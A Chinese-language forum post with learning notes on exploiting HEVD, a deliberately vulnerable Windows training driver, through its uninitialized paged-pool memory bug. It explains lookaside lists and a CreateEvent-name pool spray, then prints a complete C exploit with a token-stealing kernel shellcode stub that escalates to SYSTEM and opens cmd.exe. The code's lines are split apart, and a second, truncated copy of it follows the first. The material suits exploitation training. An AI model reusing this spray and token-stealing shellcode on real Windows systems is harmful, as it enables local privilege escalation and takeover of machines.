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[原创]初探内核漏洞:HEVD学习笔记——UninitializedMemoryPagedPool
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发表于: 2022-7-20 19:55 10713
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Win 10 64位 主机 + win 7 32位虚拟机
调试器:Windbg
工具:VirtualKD-3.0、IDA
目标驱动:HEVD
池块的指针未初始化为NULL时,会指向池块上的脏数据,若不加判断对其进行调用,会导致不可预知的后果。
反汇编TriggerUninitializedMemoryPagedPool函数,可以看到,先使用ExAllocatePoolWithTag在分页池中申请了内容大小为0xF0的池块,定义为UNINITIALIZE_MEMORY_POOL结构,将指针保存到UninitializedMemory中。若池块申请成功,即UninitializedMemory不为NULL的情况下,验证用户缓冲区是否为0x0BAD0B0B0h,若不是,调用UninitializedMemory->Callback()。
明显,程序并未对UninitializedMemory指向的池块的内容进行初始化和赋值,那么UninitializedMemory->Callback()将访问池块里的脏数据并执行。如果我们能控制池块里的脏数据为shellcode地址,就能利用这个漏洞。
如何控制池块中的数据呢?
这里要来理解一下Lookaside List
的概念。Lookaside List提供了一个比较简单的提高小块内存分配和申请效率的机制,用来进行固定大小内存块的小内存块的动态申请和释放。当我们使用 ExAllocatePoolWithTag 申请一个小块内存(<256字节
)时,系统会首先尝试从KPRCB
中的PP(N)PagedLookasideList
分配内存。
Lookaside List的结构
看KPRCB的结构,分页内存和非分页内存各自有一个lookaside列表。lookaside列表中的块最大为256字节,大小以8字节递增,所以每个lookaside列表共有32个节点,每个节点是一条相同大小的块组成的单向链表。
每个节点定义成GENERAL_LOOKASIDE_POOL 结构,节点之间通过LIST_ENTRY形成双向链表。节点内部通过SINGLE_LIST_ENTRY将大小相同的块组织成单向链表。MaximumDepth为单链中块的最多个数,默认为256.
每个块的上方还有一个8字节的HEADER。
控制池块数据
我们的UNINITIALIZED_MEMORY_POOL
结构的大小是0xF0(240)
,所以需要240+8=248
字节的空间,小于256字节,将在Lookaside List中申请。接下来我们要做的就是想办法在Lookaside List中248字节的块的内容部分+0x4偏移处填入shellcode地址。
想起我们在非分页池溢出漏洞利用时使用CreateEvent
函数创建EVENT对象进行非分页池喷射,这里依然使用CreateEvent。虽然EVENT对象在非分页池中,但是第四个参数lpName是在分页池中的
,我们可以利用lpName将分页池设置成我们需要的数据。
我们使用CreateEvent创建256
个EVENT(因为lookaside list上最多256个相同大小的块),每个lpName的0x4
字节处写入shellcode地址,注意控制lpName不能相同(内存中相同的字符串只会存一个),然后CloseHandle释放池块,这样256个248字节的池块中就全部充满我们构造的数据了。
根据程序逻辑,我们随便传入不为0x0BAD0B0B的用户缓冲区即可触发漏洞.
注意:lpName要做附非0的值,因为字符串会有00截断
完整利用代码:
运行客户端程序,提权成功:
判断用户输入不为特定值之后,调用ExFreePoolWithTag
释放池块,并将UninitializedMemory设置为NULL。
#include<stdio.h>
#include<Windows.h>
/
/
1.
设置符号链接名称
#define DEVICE_LINK_NAME L"\\\\.\\HackSysExtremeVulnerableDriver"
/
/
2.
控制码定义(与
0
环一样)
#define HEVD_UNINITIALIZED_MEMORY_PAGED_POOL 0x222033
static VOID shellcode() {
/
/
No Need of Kernel Recovery as we are
not
corrupting anything
__asm {
/
/
int
3
nop
pushad; Save registers state
; Start of Token Stealing Stub
xor eax, eax;
Set
ZERO
mov eax, fs: [eax
+
KTHREAD_OFFSET] ; Get nt!_KPCR.PcrbData.CurrentThread
; _KTHREAD
is
located at FS : [
0x124
]
mov eax, [eax
+
EPROCESS_OFFSET]; Get nt!_KTHREAD.ApcState.Process
mov ecx, eax; Copy current process _EPROCESS structure
mov edx, SYSTEM_PID; WIN
7
SP1 SYSTEM process PID
=
0x4
SearchSystemPID:
mov eax, [eax
+
FLINK_OFFSET]; Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, FLINK_OFFSET
cmp
[eax
+
PID_OFFSET], edx; Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID
mov edx, [eax
+
TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token
mov[ecx
+
TOKEN_OFFSET], edx; Replace target process nt!_EPROCESS.Token
; with SYSTEM process nt!_EPROCESS.Token
; End of Token Stealing Stub
popad; Restore registers state
ret
}
}
VOID EXP_UninitializedMemoryPagedPool() {
/
/
3.CreateFile
打开符号链接得到设备句柄
HANDLE hDevice
=
NULL;
hDevice
=
CreateFile(DEVICE_LINK_NAME,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
NULL);
if
(hDevice
=
=
INVALID_HANDLE_VALUE) {
printf(
"[-] Error - Unable to obtain a handle to the driver, error code %d\n"
, GetLastError());
exit(
1
);
}
/
/
4.DeviceIoControl
给
0
环发请求并接收返回结果
char lpName[
0xf0
]
=
{
0
};
/
/
一个
Unicode
是
2
个字节
memset(lpName,
0x41
,
0xf0
);
HANDLE Event_OBJECT[
256
];
/
/
固定最多
256
个块
for
(
int
i
=
0
; i <
256
; i
+
+
)
{
*
(PDWORD)((PCHAR)lpName
+
0x4
)
=
(DWORD)shellcode;
/
/
Callback成员_UNINITIALIZED_MEMORY_POOL结构体
+
0x4
上
*
(PDWORD)((PCHAR)lpName
+
0xf0
-
4
)
=
i;
Event_OBJECT[i]
=
CreateEventW(NULL, FALSE, FALSE, (LPCWSTR)lpName);
}
for
(
int
i
=
0
; i <
256
; i
+
+
)
{
CloseHandle(Event_OBJECT[i]);
/
/
将创建的池块释放
}
DWORD dwRet
=
0
;
char exp_NullPointerDereference[
4
]
=
{
0
};
memset(exp_NullPointerDereference,
'A'
, sizeof(exp_NullPointerDereference));
DeviceIoControl(hDevice, HEVD_UNINITIALIZED_MEMORY_PAGED_POOL, exp_NullPointerDereference, \
4
, NULL,
0
, &dwRet, NULL);
system(
"cmd.exe"
);
}
int
main() {
EXP_UninitializedMemoryPagedPool();
return
0
;
}
#include<stdio.h>
#include<Windows.h>
/
/
1.
设置符号链接名称
#define DEVICE_LINK_NAME L"\\\\.\\HackSysExtremeVulnerableDriver"
/
/
2.
控制码定义(与
0
环一样)
#define HEVD_UNINITIALIZED_MEMORY_PAGED_POOL 0x222033
static VOID shellcode() {
/
/
No Need of Kernel Recovery as we are
not
corrupting anything
__asm {
/
/
int
3
nop
pushad; Save registers state
; Start of Token Stealing Stub
xor eax, eax;
Set
ZERO
mov eax, fs: [eax
+
KTHREAD_OFFSET] ; Get nt!_KPCR.PcrbData.CurrentThread
; _KTHREAD
is
located at FS : [
0x124
]
mov eax, [eax
+
EPROCESS_OFFSET]; Get nt!_KTHREAD.ApcState.Process
mov ecx, eax; Copy current process _EPROCESS structure
mov edx, SYSTEM_PID; WIN
7
SP1 SYSTEM process PID
=
0x4
SearchSystemPID:
mov eax, [eax
+
FLINK_OFFSET]; Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, FLINK_OFFSET
cmp
[eax
+
PID_OFFSET], edx; Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID
mov edx, [eax
+
TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token
mov[ecx
+
TOKEN_OFFSET], edx; Replace target process nt!_EPROCESS.Token
; with SYSTEM process nt!_EPROCESS.Token